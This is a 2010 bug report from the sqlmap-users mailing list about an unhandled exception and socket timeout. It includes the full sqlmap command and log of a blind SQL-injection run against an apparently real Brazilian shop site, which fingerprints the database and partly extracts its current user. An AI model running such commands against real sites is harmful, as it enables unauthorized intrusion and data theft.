[sqlmap-users] unhandled exception on --current-user
Brought to you by:
inquisb
From: Vinícius K-M. <vin...@gm...> - 2010-05-25 00:29:34
|
MacBook:sqlmap mac$ ./sqlmap.py -u " http://lojasexxxy.com.br/produtos_descricao.asp?lang=pt_BR&codigo_produto=128" --current-user sqlmap/0.8 - automatic SQL injection and database takeover tool http://sqlmap.sourceforge.net [*] starting at: 21:04:31 [21:04:32] [INFO] using '/Users/mac/Desktop/pentest/sqlmap/output/ lojasexxxy.com.br/session' as session file [21:04:32] [INFO] resuming match ratio '0.9' from session file [21:04:32] [INFO] resuming injection point 'GET' from session file [21:04:32] [INFO] resuming injection parameter 'codigo_produto' from session file [21:04:32] [INFO] resuming injection type 'numeric' from session file [21:04:32] [INFO] resuming 0 number of parenthesis from session file [21:04:32] [INFO] resuming back-end DBMS 'mysql 4' from session file [21:04:32] [INFO] resuming back-end DBMS operating system 'None' from session file [21:04:32] [INFO] resuming back-end DBMS operating system 'None' from session file [21:04:32] [INFO] testing connection to the target url [21:04:35] [INFO] testing for parenthesis on injectable parameter [21:04:35] [INFO] the back-end DBMS is MySQL web server operating system: Windows 2000 web application technology: ASP.NET, Microsoft IIS 6.0, ASP back-end DBMS: MySQL 4 [21:04:35] [INFO] fetching current user [21:04:35] [INFO] retrieved: lojas[21:11:14] [ERROR] unhandled exception in sqlmap/0.8, please copy the command line and the following text and send by e-mail to sql...@li.... The developer will fix it as soon as possible: sqlmap version: 0.8 Python version: 2.6.1 Operating system: darwin Traceback (most recent call last): File "./sqlmap.py", line 77, in main start() File "/Users/mac/Desktop/pentest/sqlmap/lib/controller/controller.py", line 259, in start action() File "/Users/mac/Desktop/pentest/sqlmap/lib/controller/action.py", line 85, in action dumper.string("current user", conf.dbmsHandler.getCurrentUser()) File "/Users/mac/Desktop/pentest/sqlmap/plugins/generic/enumeration.py", line 135, in getCurrentUser kb.data.currentUser = inject.getValue(query) File "/Users/mac/Desktop/pentest/sqlmap/lib/request/inject.py", line 373, in getValue value = __goInferenceProxy(expression, fromUser, expected, batch, resumeValue, unpack, charsetType, firstChar, lastChar) File "/Users/mac/Desktop/pentest/sqlmap/lib/request/inject.py", line 303, in __goInferenceProxy outputs = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, resumeValue=resumeValue, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar) File "/Users/mac/Desktop/pentest/sqlmap/lib/request/inject.py", line 95, in __goInferenceFields output = __goInference(payload, expressionReplaced, charsetType, firstChar, lastChar) File "/Users/mac/Desktop/pentest/sqlmap/lib/request/inject.py", line 55, in __goInference count, value = bisection(payload, expression, length, charsetType, firstChar, lastChar) File "/Users/mac/Desktop/pentest/sqlmap/lib/techniques/blind/inference.py", line 281, in bisection val = getChar(index, asciiTbl) File "/Users/mac/Desktop/pentest/sqlmap/lib/techniques/blind/inference.py", line 125, in getChar result = Request.queryPage(forgedPayload) File "/Users/mac/Desktop/pentest/sqlmap/lib/request/connect.py", line 282, in queryPage page, headers = Connect.getPage(get=get, post=post, cookie=cookie, ua=ua, silent=silent) File "/Users/mac/Desktop/pentest/sqlmap/lib/request/connect.py", line 179, in getPage page = e.read() File "/System/Library/Frameworks/Python.framework/Versions/2.6/lib/python2.6/socket.py", line 327, in read data = self._sock.recv(rbufsize) File "/System/Library/Frameworks/Python.framework/Versions/2.6/lib/python2.6/httplib.py", line 537, in read s = self.fp.read(amt) File "/System/Library/Frameworks/Python.framework/Versions/2.6/lib/python2.6/socket.py", line 351, in read data = self._sock.recv(left) timeout: timed out [*] shutting down at: 21:11:15 |